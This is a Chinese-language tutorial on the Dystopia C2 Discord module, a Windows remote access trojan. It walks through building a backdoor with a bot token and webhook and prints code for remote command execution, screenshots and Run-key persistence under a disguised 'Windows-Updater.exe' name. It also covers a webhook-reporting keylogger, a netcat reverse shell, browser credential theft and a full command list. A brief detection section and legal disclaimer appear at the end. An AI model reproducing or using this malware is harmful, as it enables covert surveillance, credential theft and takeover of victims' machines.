Dystopia C2 Discord C2模块详解:从Bot配置到远程命令执行
Dystopia C2 Discord C2模块详解从Bot配置到远程命令执行【免费下载链接】dystopia-c2Windows Remote Administration Tool that uses Discord, Telegram and GitHub as C2s项目地址: https://gitcode.com/gh_mirrors/dy/dystopia-c2Dystopia C2是一款功能强大的Windows远程管理工具它创新性地利用Discord、Telegram和GitHub作为命令与控制C2服务器。本文将深入探讨其Discord C2模块的实现细节从Bot配置到远程命令执行的完整流程帮助安全研究人员和开发者全面了解这一模块的工作原理与使用方法。核心功能概述Discord C2模块的强大之处Discord C2模块是Dystopia C2的核心组件之一它允许管理员通过Discord平台实现对目标主机的远程控制。该模块基于Python的discord.py库开发提供了丰富的交互功能包括系统信息收集、文件管理、命令执行、屏幕截图、摄像头控制等。主要功能特点多Agent管理支持同时管理多个被控主机丰富的交互命令提供超过20种远程控制命令直观的用户界面通过Discord消息和嵌入组件展示数据持久化控制支持在目标系统上建立持久化机制隐蔽通信利用Discord的合法通信通道进行数据传输环境准备构建Discord C2的前置条件在使用Discord C2模块之前需要完成以下准备工作1. 安装必要依赖项目依赖项在requirements.txt文件中定义主要包括discord.py、pyautogui、opencv-python等库。使用以下命令安装依赖pip install -r requirements.txt2. Discord Bot创建与配置访问Discord开发者门户(https://discord.com/developers/applications)创建新应用并添加Bot用户记录Bot Token后续配置需要为Bot授予必要的权限发送消息、嵌入链接、上传文件等将Bot邀请到您的Discord服务器记录Guild ID和Channel ID3. 项目结构解析Discord C2模块的核心代码位于项目的code/discord目录下主要文件结构如下code/ └── discord/ └── main.py # Discord C2模块主程序 libraries/ ├── disctopia.py # 核心功能库 ├── credentials.py # 凭证获取模块 ├── keylogger.py # 键盘记录器 └── sandboxevasion.py # 沙箱逃避模块 builder.py # 后门构建工具配置流程使用builder.py构建Discord后门builder.py是Dystopia C2的后门构建工具通过简单的命令行交互即可生成配置好的Discord C2后门。基本配置步骤运行builder.pypython builder.py选择Discord payload[] use discord [] Using Discord C2设置必要参数[] discord set name MyBackdoor [] discord set guild-id YOUR_GUILD_ID [] discord set bot-token YOUR_BOT_TOKEN [] discord set channel-id YOUR_CHANNEL_ID [] discord set webhook YOUR_KEYLOGGER_WEBHOOK查看配置[] discord config构建后门[] discord build [?] Are you sure you want to build the backdoor? (y/n) y [] Building backdoor...构建完成后后门程序将生成在dist目录下文件名为之前设置的name参数值如MyBackdoor.exe。代码解析Discord C2模块的工作原理Bot初始化与事件处理Discord C2模块的核心是Bot类位于code/discord/main.py文件中。Bot初始化时设置了必要的Intents并覆盖了on_ready和setup_hook等关键方法class Bot(commands.Bot): def __init__(self): intents discord.Intents.default() intents.message_content True super().__init__(command_prefix !, intents intents, help_commandNone) async def on_ready(self): await self.wait_until_ready() self.channel self.get_channel(CHANNEL) # 发送上线通知包含系统信息 now datetime.now() my_embed discord.Embed(titlef{MSG},descriptionf**Time: {now.strftime(%d/%m/%Y %H:%M:%S)}**, colorCOLOR) my_embed.add_field(name**IP**, valuedisctopia.getIP(), inlineTrue) my_embed.add_field(name**Bits**, valuedisctopia.getBits(), inlineTrue) # 添加更多系统信息字段... await self.channel.send(embedmy_embed)当Bot成功连接到Discord服务器后会自动向指定频道发送包含被控主机系统信息的嵌入消息包括IP地址、操作系统、用户名、CPU信息等。交互界面InteractButton类为了提供直观的交互方式模块实现了InteractButton类通过Discord按钮组件实现常用功能的快速访问class InteractButton(discord.ui.View): def __init__(self, inv:str, id:int): super().__init__() self.inv inv self.id id discord.ui.button(labelInteract, stylediscord.ButtonStyle.blurple, emoji) async def interactButton(self, interaction:discord.Interaction, button:discord.ui.Button): global CURRENT_AGENT CURRENT_AGENT self.id await interaction.response.send_message(embeddiscord.Embed(titlefInteracted with agent {self.id}, color0x00FF00), ephemeralTrue) # 其他按钮方法Terminate、Webshot、Process、Screenshot等这些按钮提供了便捷的操作入口包括与Agent交互、终止连接、获取摄像头截图、查看进程列表等功能。核心命令实现Discord C2模块提供了丰富的命令集通过discord.py的hybrid_command装饰器实现既支持前缀命令也支持应用命令1. 命令执行功能bot.hybrid_command(name cmd, with_app_command True, description Run any command on the target machine) app_commands.guilds(GUILD) async def cmd(ctx: commands.Context, command:str): if (int(CURRENT_AGENT) int(ID)): result disctopia.cmd(command) if len(result) 4000: path os.environ[temp] \\response.txt with open(path, w) as file: file.write(result) await ctx.reply(filediscord.File(path)) os.remove(path) else: await ctx.reply(result)该命令通过调用disctopia.cmd函数执行系统命令并将结果返回给Discord频道。当结果过长时会自动保存为文件并上传。2. 屏幕截图功能bot.hybrid_command(name screenshot, with_app_command True, description Take a screenshot of the target machines screen) app_commands.guilds(GUILD) async def screenshot(ctx: commands.Context): if (int(CURRENT_AGENT) int(ID)): result disctopia.screenshot() if result ! False: await ctx.reply(filediscord.File(result)) os.remove(result) else: my_embed discord.Embed(titlefError while taking screenshot to Agent#{ID}, color0xFF0000) await ctx.reply(embedmy_embed)该命令使用pyautogui库实现屏幕截图并通过Discord消息返回截图文件。3. 持久化功能bot.hybrid_command(name persistent, with_app_command True, description Make the agent persistent on the target machine) app_commands.guilds(GUILD) async def persistent(ctx: commands.Context): if (int(CURRENT_AGENT) int(ID)): result disctopia.persistent() if result: my_embed discord.Embed(titlefPersistance enabled on Agent#{ID}, color0x00FF00) else: my_embed discord.Embed(titlefError while enabling persistance on Agent#{ID}, color0xFF0000) await ctx.reply(embedmy_embed)持久化功能通过修改Windows注册表实现将后门程序添加到启动项中def persistent(): try: backdoor_location os.environ[appdata] \\Windows-Updater.exe if not os.path.exists(backdoor_location): shutil.copyfile(sys.executable, backdoor_location) sp.call( reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d backdoor_location /f, shellTrue) return True else: return already-enabled except Exception as e: return e高级功能深入Discord C2的强大能力1. 键盘记录器Discord C2模块集成了键盘记录功能可通过keylog命令启动bot.hybrid_command(name keylog, with_app_command True, description Start a keylogger on the target machine) app_commands.guilds(GUILD) async def keylog(ctx: commands.Context, mode:str ,interval:int): if (int(CURRENT_AGENT) int(ID)): logger keylogger.Keylogger(intervalinterval, IDID, webhookKEYLOGGER_WEBHOOK, report_methodwebhook) if mode stop: logger.stop() await ctx.reply(embeddiscord.Embed(titlefKeylogger stopped on Agent#{ID}, color0x00FF00)) else: threading.Thread(targetlogger.start).start() await ctx.reply(embeddiscord.Embed(titlefKeylogger started on Agent#{ID}, color0x00FF00))键盘记录器会在后台线程中运行按指定时间间隔通过Webhook将记录的按键信息发送到Discord。2. 反向Shell模块提供了反向Shell功能可通过revshell命令建立bot.hybrid_command(name revshell, with_app_command True, description Get a reverse shell on the target machine) app_commands.guilds(GUILD) async def location(ctx: commands.Context, ip:str, port:int): if (int(CURRENT_AGENT) int(ID)): result disctopia.revshell(ip, port) if result: my_embed discord.Embed(titlefAttempting to Establish Reverse Shell on Agent#{ID}, color0x00FF00) await ctx.reply(embedmy_embed)该功能会下载nc.exenetcat到目标系统然后建立反向连接到指定的IP和端口。3. 凭证窃取通过creds命令可以获取目标系统上保存的浏览器凭证bot.hybrid_command(name creds, with_app_command True, description Get the credentials of the target machine) app_commands.guilds(GUILD) async def creds(ctx: commands.Context): if (int(CURRENT_AGENT) int(ID)): result disctopia.creds() if result ! False: await ctx.reply(filediscord.File(result)) os.remove(result) else: my_embed discord.Embed(titlefError while grabbing credentials from Agent#{ID}, color0xFF0000) await ctx.reply(embedmy_embed)凭证窃取功能在libraries/credentials.py中实现支持从Chrome等浏览器中提取保存的密码。使用指南Discord C2命令参考Discord C2模块提供了丰富的命令以下是常用命令的简要说明基本命令/interact id: 与指定ID的Agent交互/background: 取消与当前Agent的交互/ls: 列出所有在线Agent/help: 显示帮助菜单系统信息命令/process: 列出目标系统进程/location: 获取目标地理位置信息/screenshot: 获取目标屏幕截图/webshot: 获取目标摄像头截图文件操作命令/cd path: 切换目标系统目录/download path: 从目标下载文件/upload url name: 上传文件到目标控制命令/cmd command: 在目标执行系统命令/killproc pid: 终止目标进程/persistent: 在目标建立持久化/selfdestruct: 从目标删除Agent/wallpaper url: 修改目标桌面壁纸/recordmic seconds: 录制目标麦克风防御与检测如何防范Discord C2攻击虽然Discord C2模块功能强大但也有一些特征可以用于检测和防御网络流量分析监控与Discord服务器的异常通信进程监控注意异常的Python进程或不明EXE文件注册表监控检测HKCU\Software\Microsoft\Windows\CurrentVersion\Run下的可疑启动项文件系统监控关注AppData目录下的可疑文件行为分析检测屏幕截图、摄像头访问等可疑行为安全人员可以通过这些方法及时发现并防范基于Discord C2的攻击。总结Discord C2模块的价值与风险Dystopia C2的Discord C2模块展示了如何利用合法平台构建强大的远程控制工具。对于安全研究人员和渗透测试人员来说它提供了一个研究C2技术的良好案例但同时也提醒我们合法平台可能被滥用于恶意目的。通过本文的解析我们不仅了解了Discord C2模块的工作原理和使用方法也认识到了加强网络安全防护的重要性。在使用这类工具时务必遵守法律法规仅在授权环境中进行测试和研究。要获取Dystopia C2项目请使用以下命令克隆仓库git clone https://gitcode.com/gh_mirrors/dy/dystopia-c2项目的完整文档和更多使用细节请参考代码中的注释和帮助命令。【免费下载链接】dystopia-c2Windows Remote Administration Tool that uses Discord, Telegram and GitHub as C2s项目地址: https://gitcode.com/gh_mirrors/dy/dystopia-c2创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考